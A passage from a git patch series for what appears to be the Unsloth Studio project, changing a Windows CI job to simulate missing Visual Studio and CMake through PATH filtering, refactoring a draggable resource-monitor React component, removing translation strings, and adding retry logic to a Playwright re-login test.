-              Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
-              $hidden += $c.Source
-              Write-Host "Hid cmake: $($c.Source)"
-            }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not (Test-Blocked $_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          # install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
+          # rebuild the session Path from these scopes mid-install, so filter
+          # them too. Originals are saved for the cleanup step.
+          foreach ($scope in @('Machine', 'User')) {
+            $orig = [Environment]::GetEnvironmentVariable('Path', $scope)
+            if (-not $orig) { continue }
+            Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline
+            $kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';'
+            [Environment]::SetEnvironmentVariable('Path', $kept, $scope)
+            Write-Host "Filtered $scope Path scope."
+          }
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+
+          Write-Host "ProgramFiles simulation root: $pf"
+          Write-Host "ProgramFiles(x86) simulation root: $pfx86"
+          if ($blocked.Count -gt 0) {
+            Write-Host "Removed build-tool PATH dirs:"
+            $blocked | Sort-Object | ForEach-Object { Write-Host "  $_" }
+          } else {
+            Write-Host "No cmake or cl.exe PATH dirs found to remove."
           }
-          ("HIDDEN_CMAKE=" + ($hidden -join '|')) | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Assert Visual Studio + CMake are genuinely undetectable
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
+          # Set in-script: the runner does not apply step-level env keys with
+          # parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
+          if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
           $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
           foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
@@ -1394,6 +1427,10 @@ jobs:
           # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
           HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
+          # Set in-script (see the assert step); child processes inherit these.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           New-Item -ItemType Directory -Force -Path logs | Out-Null
           $ProgressPreference = 'SilentlyContinue'
           & ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
@@ -1480,19 +1517,19 @@ jobs:
           [ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
           echo "Inference OK without Visual Studio: $CONTENT"
 
-      - name: Restore Visual Studio + CMake
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
-          if ($env:HIDDEN_CMAKE) {
-            foreach ($src in ($env:HIDDEN_CMAKE -split '\|')) {
-              if ($src -and (Test-Path -LiteralPath "$src.off")) { Rename-Item -LiteralPath "$src.off" -NewName (Split-Path $src -Leaf) }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          foreach ($scope in @('Machine', 'User')) {
+            $saved = Join-Path $root "orig-path-$scope.txt"
+            if (Test-Path -LiteralPath $saved) {
+              [Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope)
+              Write-Host "Restored $scope Path scope."
             }
           }
+          Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue
 
       - name: Stop Studio
         if: always()
@@ -1540,21 +1577,34 @@ jobs:
         with:
           python-version: '3.12'
 
-      - name: Hide Visual Studio
+      - name: Prepare no-build-tools simulation
         shell: pwsh
         run: |
           $ErrorActionPreference = 'Stop'
-          # Retry the rename: a Program Files dir can hold a transient handle that
-          # makes Rename-Item intermittently fail with "Access is denied".
-          function Rename-WithRetry($Path, $NewName) {
-            for ($i = 1; $i -le 6; $i++) {
-              try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
-              catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
+          $root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
+          $pf = Join-Path $root 'ProgramFiles'
+          $pfx86 = Join-Path $root 'ProgramFilesx86'
+          New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
+
+          $blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
+          foreach ($tool in @('cmake', 'cl.exe')) {
+            foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
+              if ($cmd.Source) {
+                $dir = Split-Path -Parent $cmd.Source
+                if ($dir) { [void] $blocked.Add($dir) }
+              }
             }
           }
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
-          }
+
+          $pathParts = $env:Path -split [IO.Path]::PathSeparator |
+            Where-Object { $_ -and -not $blocked.Contains($_) }
+          $noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
+
+          "NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          $noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
+          "NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
 
       - name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
         env:
@@ -1577,25 +1627,34 @@ jobs:
           echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
 
       - name: The prebuilt resolver runs without Visual Studio
+        shell: pwsh
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         run: |
+          $ErrorActionPreference = 'Stop'
+          # pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
+          # python child inherits the overrides.
+          $env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
+          ${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
+          $env:Path = $env:NO_BUILD_TOOLS_PATH
           # Resolver-only (no GPU on hosted runners, so the host resolves to the
           # CPU bundle). The point is that resolution needs no compiler/VS.
           python -m pip install --upgrade huggingface_hub
-          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > /tmp/resolve.json || {
-            echo "::error::resolver exited non-zero"; cat /tmp/resolve.json || true; exit 1; }
-          cat /tmp/resolve.json
-          echo "Prebuilt resolver ran with no Visual Studio present."
+          if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
+          python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
+          if ($LASTEXITCODE -ne 0) {
+            Write-Host "::error::resolver exited non-zero"
+            if (Test-Path resolve.json) { Get-Content resolve.json }
+            exit 1
+          }
+          Get-Content resolve.json
+          Write-Host "Prebuilt resolver ran with no Visual Studio present."
 
-      - name: Restore Visual Studio
+      - name: Clean no-build-tools simulation
         if: always()
         shell: pwsh
         run: |
-          foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
-            $off = "$d.vsoff"
-            if (Test-Path -LiteralPath $off) { Rename-Item -LiteralPath $off -NewName (Split-Path $d -Leaf); Write-Host "Restored $d" }
-          }
+          Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
 
   # ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
   pester:
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 823e420869..1a74b38524 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -81,7 +81,6 @@ import {
   TestTube01Icon,
   ZapIcon,
 } from "@hugeicons/core-free-icons";
-import { listStoredChatThreads } from "@/features/chat/utils/chat-history-storage";
 import {
   Tooltip,
   TooltipContent,
@@ -97,6 +96,7 @@ import {
   createChatProject,
   deleteChatProject,
   deleteChatItem,
+  listStoredChatThreads,
   moveChatItemToProject,
   renameChatItem,
   renameChatProject,
@@ -582,7 +582,14 @@ export function AppSidebar() {
   useEffect(() => {
     if (!pendingRename) return;
     const match = allChatItems.find((i) => i.id === pendingRename.id);
-    if (match && match.title === pendingRename.title) setPendingRename(null);
+    if (!match || match.title !== pendingRename.title) return;
+    queueMicrotask(() => {
+      setPendingRename((current) =>
+        current?.id === pendingRename.id && current.title === pendingRename.title
+          ? null
+          : current,
+      );
+    });
   }, [allChatItems, pendingRename]);
   const [creatingProject, setCreatingProject] = useState(false);
   const [projectNameDraft, setProjectNameDraft] = useState("");
@@ -680,12 +687,6 @@ export function AppSidebar() {
     useState<DeleteTarget | null>(null);
   const [deleteProjectFiles, setDeleteProjectFiles] = useState(false);
 
-  useEffect(() => {
-    if (confirmingDelete?.kind !== "project") {
-      setDeleteProjectFiles(false);
-    }
-  }, [confirmingDelete]);
-
   async function commitDelete() {
     const target = confirmingDelete;
     if (!target) return;
diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
index bce4bf2831..0a51875de9 100644
--- a/studio/frontend/src/components/floating-monitor.tsx
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -3,27 +3,35 @@
 
 import { Button } from "@/components/ui/button";
 import { Progress } from "@/components/ui/progress";
-import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store";
+import { useMonitorOverlayStore } from "@/features/settings";
 import { useSystemInfo } from "@/hooks/use-system";
 import { useT } from "@/i18n";
 import { cn } from "@/lib/utils";
 import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
-import { motion } from "motion/react";
-import { useRef } from "react";
+import { AnimatePresence, motion, useDragControls } from "motion/react";
+import { type PointerEvent, useMemo, useState } from "react";
 
 function clampPercent(value: number): number {
   return Math.max(0, Math.min(100, value));
 }
 
 function usageIndicatorClass(percent: number): string {
-  if (percent >= 90) return "bg-destructive";
-  if (percent >= 70) return "bg-amber-500";
+  if (percent >= 90) {
+    return "bg-destructive";
+  }
+  if (percent >= 70) {
+    return "bg-amber-500";
+  }
   return "bg-primary";
 }
 
 function usageTextClass(percent: number): string {
-  if (percent >= 90) return "text-destructive";
-  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  if (percent >= 90) {
+    return "text-destructive";
+  }
+  if (percent >= 70) {
+    return "text-amber-600 dark:text-amber-400";
+  }
   return "text-primary";
 }
 
@@ -39,9 +47,18 @@ export function FloatingMonitor() {
   const { isOpen, setIsOpen } = useMonitorOverlayStore();
   const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
 
-  const constraintsRef = useRef<HTMLDivElement>(null);
+  const [constraintsElement, setConstraintsElement] =
+    useState<HTMLDivElement | null>(null);
+  const constraintsRef = useMemo(
+    () => ({ current: constraintsElement }),
+    [constraintsElement],
+  );
+  const dragControls = useDragControls();
 
-  if (!isOpen) return null;
+  function startDrag(event: PointerEvent<HTMLDivElement>) {
+    event.preventDefault();
+    dragControls.start(event);
+  }
 
   const ramTotal = systemInfo.memory?.total_gb ?? 0;
   const ramAvailable = systemInfo.memory?.available_gb ?? 0;
@@ -64,99 +81,109 @@ export function FloatingMonitor() {
   const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
 
   return (
-    <div
-      ref={constraintsRef}
-      className="fixed inset-0 z-50 pointer-events-none"
-    >
-      <motion.div
-        layout={true}
-        drag={true}
-        dragConstraints={constraintsRef}
-        dragElastic={0.1}
-        dragMomentum={false}
-        initial={{ opacity: 0, scale: 0.9 }}
-        animate={{ opacity: 1, scale: 1 }}
-        exit={{ opacity: 0, scale: 0.9 }}
-        className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
-      >
-        <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
-          <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
-            <CpuIcon className="size-3.5 shrink-0 text-primary" />
-            <span className="truncate">
-              {t("settings.resources.liveMonitor.title")}
-            </span>
-          </div>
-          <div className="flex items-center gap-1 shrink-0">
-            <div className="cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing">
-              <GripVerticalIcon className="size-3.5" />
-            </div>
-
-            <Button
-              size="icon-xs"
-              variant="ghost"
-              className="text-muted-foreground hover:text-foreground"
-              onClick={() => setIsOpen(false)}
-              title={t("common.close")}
-              aria-label={t("common.close")}
-            >
-              <XIcon className="size-3" />
-            </Button>
-          </div>
-        </div>
-
-        <motion.div
-          initial={{ opacity: 0, height: 0 }}
-          animate={{ opacity: 1, height: "auto" }}
-          exit={{ opacity: 0, height: 0 }}
-          className="space-y-3 overflow-hidden"
+    <AnimatePresence>
+      {isOpen && (
+        <div
+          ref={setConstraintsElement}
+          className="fixed inset-0 z-50 pointer-events-none"
         >
-          <div className="space-y-1">
-            <div className="flex justify-between text-[11px] font-medium font-mono">
-              <span>{t("settings.resources.liveMonitor.ram")}</span>
-              <span className={cn("tabular-nums", usageTextClass(ramPercent))}>
-                {Math.round(ramPercent)}%
-              </span>
-            </div>
-            <div className="text-xs text-muted-foreground font-mono tabular-nums">
-              {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
-            </div>
-            <Progress
-              value={ramPercent}
-              className="mt-1 h-1.5 rounded-full bg-muted"
-              indicatorClassName={usageIndicatorClass(ramPercent)}
-            />
-          </div>
-
-          {hasGpu && (
-            <div className="space-y-1">
-              <div className="flex justify-between text-[11px] font-medium font-mono">
-                <span className="truncate flex-1 pr-2">
-                  {t("settings.resources.liveMonitor.vram")}{" "}
-                  {devices.length > 1
-                    ? `(${devices.length} GPUs)`
-                    : `(${devices[0].name ?? "GPU"})`}
+          <motion.div
+            drag={true}
+            dragControls={dragControls}
+            dragListener={false}
+            dragConstraints={constraintsRef}
+            dragElastic={0}
+            dragMomentum={false}
+            initial={{ opacity: 0, scale: 0.9 }}
+            animate={{ opacity: 1, scale: 1 }}
+            exit={{ opacity: 0, scale: 0.9 }}
+            className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
+          >
+            <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
+              <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
+                <CpuIcon className="size-3.5 shrink-0 text-primary" />
+                <span className="truncate">
+                  {t("settings.resources.liveMonitor.title")}
                 </span>
-                <span
-                  className={cn(
-                    "shrink-0 tabular-nums",
-                    usageTextClass(vramPercent),
-                  )}
+              </div>
+              <div className="flex items-center gap-1 shrink-0">
+                <div
+                  onPointerDown={startDrag}
+                  className="touch-none cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing"
                 >
-                  {Math.round(vramPercent)}%
-                </span>
+                  <GripVerticalIcon className="size-3.5" />
+                </div>
+
+                <Button
+                  size="icon-xs"
+                  variant="ghost"
+                  className="text-muted-foreground hover:text-foreground"
+                  onClick={() => setIsOpen(false)}
+                  title={t("common.close")}
+                  aria-label={t("common.close")}
+                >
+                  <XIcon className="size-3" />
+                </Button>
               </div>
-              <div className="text-xs text-muted-foreground font-mono tabular-nums">
-                {formatGiB(vramUsed)} / {formatGiB(vramTotal)}
-              </div>
-              <Progress
-                value={vramPercent}
-                className="mt-1 h-1.5 rounded-full bg-muted"
-                indicatorClassName={usageIndicatorClass(vramPercent)}
-              />
             </div>
-          )}
-        </motion.div>
-      </motion.div>
-    </div>
+
+            <motion.div
+              initial={{ opacity: 0, height: 0 }}
+              animate={{ opacity: 1, height: "auto" }}
+              exit={{ opacity: 0, height: 0 }}
+              className="space-y-3 overflow-hidden"
+            >
+              <div className="space-y-1">
+                <div className="flex justify-between text-[11px] font-medium font-mono">
+                  <span>{t("settings.resources.liveMonitor.ram")}</span>
+                  <span
+                    className={cn("tabular-nums", usageTextClass(ramPercent))}
+                  >
+                    {Math.round(ramPercent)}%
+                  </span>
+                </div>
+                <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                  {formatGiB(ramUsed)} / {formatGiB(ramTotal)}
+                </div>
+                <Progress
+                  value={ramPercent}
+                  className="mt-1 h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(ramPercent)}
+                />
+              </div>
+
+              {hasGpu && (
+                <div className="space-y-1">
+                  <div className="flex justify-between text-[11px] font-medium font-mono">
+                    <span className="truncate flex-1 pr-2">
+                      {t("settings.resources.liveMonitor.vram")}{" "}
+                      {devices.length > 1
+                        ? `(${devices.length} GPUs)`
+                        : `(${devices[0].name ?? "GPU"})`}
+                    </span>
+                    <span
+                      className={cn(
+                        "shrink-0 tabular-nums",
+                        usageTextClass(vramPercent),
+                      )}
+                    >
+                      {Math.round(vramPercent)}%
+                    </span>
+                  </div>
+                  <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                    {formatGiB(vramUsed)} / {formatGiB(vramTotal)}
+                  </div>
+                  <Progress
+                    value={vramPercent}
+                    className="mt-1 h-1.5 rounded-full bg-muted"
+                    indicatorClassName={usageIndicatorClass(vramPercent)}
+                  />
+                </div>
+              )}
+            </motion.div>
+          </motion.div>
+        </div>
+      )}
+    </AnimatePresence>
   );
 }
diff --git a/studio/frontend/src/features/chat/index.ts b/studio/frontend/src/features/chat/index.ts
index 7cd9611c71..d070ed15de 100644
--- a/studio/frontend/src/features/chat/index.ts
+++ b/studio/frontend/src/features/chat/index.ts
@@ -36,6 +36,7 @@ export { ChatSearchDialog } from "./components/chat-search-dialog";
 export { setTrainingCompareHandoff } from "./lib/training-compare-handoff";
 export type { ProjectRecord } from "./types";
 export { clearAllChats, countAllChats } from "./utils/clear-all-chats";
+export { listStoredChatThreads } from "./utils/chat-history-storage";
 export { ArtifactCard } from "./artifacts/artifact-card";
 export {
   useChatArtifactsStore,
diff --git a/studio/frontend/src/features/settings/index.ts b/studio/frontend/src/features/settings/index.ts
index 364ca1611f..3fefd8c63a 100644
--- a/studio/frontend/src/features/settings/index.ts
+++ b/studio/frontend/src/features/settings/index.ts
@@ -7,6 +7,7 @@ export {
   savePersonalization,
 } from "./api/personalization";
 export { setTheme, useTheme } from "./stores/theme-store";
+export { useMonitorOverlayStore } from "./stores/monitor-overlay-store";
 export type {
   Personalization,
   PersonalizationAppearance,
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index a9b5d839b3..e0cb8030ae 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -409,7 +409,6 @@ export const en = {
       description: "Access Unsloth via the OpenAI-compatible API.",
       readDocs: "Read the API docs",
       noAccess: "No API access yet.",
-      newBadge: "New",
       accessTokens: "Access tokens",
       loadError: "Couldn't load API access.",
       createError: "Couldn't create access token.",
diff --git a/studio/frontend/src/i18n/locales/ja.ts b/studio/frontend/src/i18n/locales/ja.ts
index f2020f3cfb..08b8d4f4d3 100644
--- a/studio/frontend/src/i18n/locales/ja.ts
+++ b/studio/frontend/src/i18n/locales/ja.ts
@@ -296,7 +296,6 @@ export const ja = {
       description: "OpenAI互換 API を介して Unsloth にアクセスします。",
       readDocs: "API ドキュメントを読む",
       noAccess: "まだ API アクセス権がありません。",
-      newBadge: "新規",
       accessTokens: "アクセストークン",
       loadError: "API アクセス権を読み込めませんでした。",
       createError: "アクセストークンを作成できませんでした。",
diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts
index c261e4ed0c..494a98ec32 100644
--- a/studio/frontend/src/i18n/locales/pt-br.ts
+++ b/studio/frontend/src/i18n/locales/pt-br.ts
@@ -363,7 +363,6 @@ export const ptBR = {
         "Acesse o Unsloth por meio da API compatível com OpenAI.",
       readDocs: "Leia a documentação da API",
       noAccess: "Nenhum acesso à API ainda.",
-      newBadge: "Novo",
       accessTokens: "Tokens de acesso",
       loadError: "Não foi possível carregar o acesso à API.",
       createError: "Não foi possível criar o token de acesso.",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index f6dc265fc7..dda8e017ab 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -267,7 +267,6 @@ export const zhCN = {
       description: "通过兼容 OpenAI 的 API 以编程方式访问 Unsloth。",
       readDocs: "阅读 API 文档",
       noAccess: "还没有 API 访问权限。",
-      newBadge: "新",
       accessTokens: "访问 token",
       loadError: "无法加载 API 访问权限。",
       createError: "无法创建访问 token。",
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index 71297f9043..0698d8e0d2 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1264,11 +1264,37 @@ with sync_playwright() as p:
     # placeholder, and /api/health goes unreachable shortly after.
     # ─────────────────────────────────────────────────────
     step("Shutdown via account menu")
-    # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
-    # invalidated the old one). The stale token can make the SPA auth guard
-    # abort this goto with ERR_ABORTED, or redirect to the same /login URL
-    # ("interrupted by another navigation"); resolve on domcontentloaded and
-    # tolerate either -- the pw-field wait below confirms we are on /login.
+    # Start fresh after the CLI rotation invalidates this browser session.
+    # Stay in the SAME context: macOS Chromium runs --single-process, where
+    # closing the last context kills the browser and a second context cannot
+    # be created. Open the new page before closing the old one; the context
+    # init script covers the new page.
+    try:
+        ctx.clear_cookies()
+    except Exception as exc:
+        info(f"WARN clearing stale session cookies failed: {exc!r}")
+    # Auth tokens live in localStorage, and /login's guest guard redirects on
+    # their mere presence, so drop them before navigating.
+    try:
+        page.evaluate(
+            "['unsloth_auth_token', 'unsloth_auth_refresh_token']"
+            ".forEach((key) => localStorage.removeItem(key))"
+        )
+    except Exception as exc:
+        info(f"WARN clearing stale auth tokens failed: {exc!r}")
+    _fresh_page = ctx.new_page()
+    _fresh_page.set_default_timeout(60_000)
+    _fresh_page.on("pageerror", lambda e: page_errors.append(str(e)))
+    _fresh_page.on("console", _on_console)
+    try:
+        page.close()
+    except Exception:
+        pass
+    page = _fresh_page
+
+    # Re-login with NEW2 for a valid /api/shutdown token. Route changes can
+    # still abort or interrupt this navigation, so the field wait below is the
+    # final confirmation that we reached /login.
     _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
     try:
         page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)

From 8205d4c0819088a3c864fdd505ce1c1e6d72852d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 01:46:14 -0700
Subject: [PATCH 278/306] Retry the Studio UI shutdown re-login on transient
 goto timeout (#7027)

* Retry the Studio UI shutdown re-login on transient goto timeout

The Chat UI Playwright smoke intermittently failed at the pre-shutdown
re-login: page.goto('/login') can hit a 60s TimeoutError on a slow runner
even while the server is healthy, and the surrounding except only tolerated
ERR_ABORTED / interrupted-navigation, so a plain timeout hard-failed the job.

Wrap the re-login goto/wait/fill/submit in the same 3-attempt retry the
change-password step already uses (recover_or_replace_page between tries,
per-attempt fail screenshots, wait_for_health pre-gate). The composer wait
stays outside the loop so a retry never re-navigates after login has set
tokens (which would redirect to /chat via the guest guard); it remains the
authoritative confirmation, so a genuinely broken login still fails.

* Catch transient login-request failures and preserve error listeners on recovery

Wait on the /api/auth/login POST inside the retry (via click_and_wait_for_response)
so a transient 4xx/5xx is retried in-loop instead of surfacing only at the
out-of-loop composer wait, matching the change-password step. When
recover_or_replace_page swaps in a fresh page, re-attach the pageerror/console
listeners so error tracking survives the replacement.
---
 tests/studio/playwright_chat_ui.py | 96 ++++++++++++++++++++++++++----
 1 file changed, 86 insertions(+), 10 deletions(-)

diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index 0698d8e0d2..6a88b98c19 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1296,16 +1296,92 @@ with sync_playwright() as p:
     # still abort or interrupt this navigation, so the field wait below is the
     # final confirmation that we reached /login.
     _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
-    try:
-        page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
-    except Exception as exc:
-        if not any(t in str(exc) for t in _tolerated_nav):
-            raise
-        info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
-    pw_field = page.locator("#password")
-    pw_field.wait_for(state = "visible", timeout = 60_000)
-    pw_field.fill(NEW2)
-    page.locator('button[type="submit"]').click()
+    # A slow CI runner can make this re-login navigation time out even with the
+    # server healthy, so retry the whole goto/wait/fill/submit sequence (mirrors
+    # the change-password retry above). wait_for_health is a diagnostic pre-gate.
+    wait_for_health(BASE, timeout = 30.0, info = info)
+    relogin_err: Exception | None = None
+    for _relogin_attempt in range(3):
+        try:
+            try:
+                page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+            except Exception as exc:
+                if not any(t in str(exc) for t in _tolerated_nav):
+                    raise
+                info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
+            pw_field = page.locator("#password")
+            pw_field.wait_for(state = "visible", timeout = 60_000)
+            pw_field.fill(NEW2)
+            # Wait on the login POST so a transient 4xx/5xx is caught and retried
+            # here, not swallowed until the out-of-loop composer wait.
+            status, _ = click_and_wait_for_response(
+                page,
+                url_substr = "/api/auth/login",
+                method = "POST",
+                do_click = lambda: page.locator('button[type="submit"]').click(),
+                timeout_ms = 30_000,
+                info = lambda m: print(f"[ui]   {m}", flush = True),
+            )
+            if status is not None and status >= 400:
+                raise AssertionError(
+                    f"login POST returned {status}; see console_errors={console_errors[:1]!r}"
+                )
+            relogin_err = None
+            break
+        except Exception as e:
+            relogin_err = e
+            try:
+                cur_url = page.url
+            except Exception:
+                cur_url = "<page closed>"
+            print(
+                f"[ui]   re-login attempt {_relogin_attempt + 1} failed: "
+                f"{type(e).__name__}: {str(e)[:200]}; page.url={cur_url}; "
+                f"page_errors={len(page_errors)} console_errors={len(console_errors)}",
+                flush = True,
+            )
+            if console_errors:
+                print(
+                    f"[ui]   first console.error: {console_errors[0][:200]!r}",
+                    flush = True,
+                )
+            if page_errors:
+                print(f"[ui]   first pageerror:    {page_errors[0][:200]!r}", flush = True)
+            try:
+                shoot(f"18-relogin-attempt-{_relogin_attempt + 1}-fail")
+            except Exception:
+                pass
+            if _relogin_attempt < 2:
+                # ERR_NO_BUFFER_SPACE needs the OS to recover socket
+                # buffers; back off 5s then 15s before retrying.
+                if "ERR_NO_BUFFER_SPACE" in str(e):
+                    backoff_s = 5 if _relogin_attempt == 0 else 15
+                    print(
+                        f"[ui]   ENOBUFS detected; sleeping {backoff_s}s "
+                        f"before retry to let OS recover socket buffers...",
+                        flush = True,
+                    )
+                    time.sleep(backoff_s)
+                # Replace the page if it died; otherwise next iteration's
+                # page.goto() handles the reload.
+                old_page = page
+                page = recover_or_replace_page(
+                    page,
+                    ctx,
+                    default_timeout_ms = 60_000,
+                    info = lambda m: print(f"[ui]   recovery: {m}", flush = True),
+                )
+                # A freshly created replacement page loses the pageerror/console
+                # listeners; re-attach so error tracking survives recovery.
+                if page is not old_page:
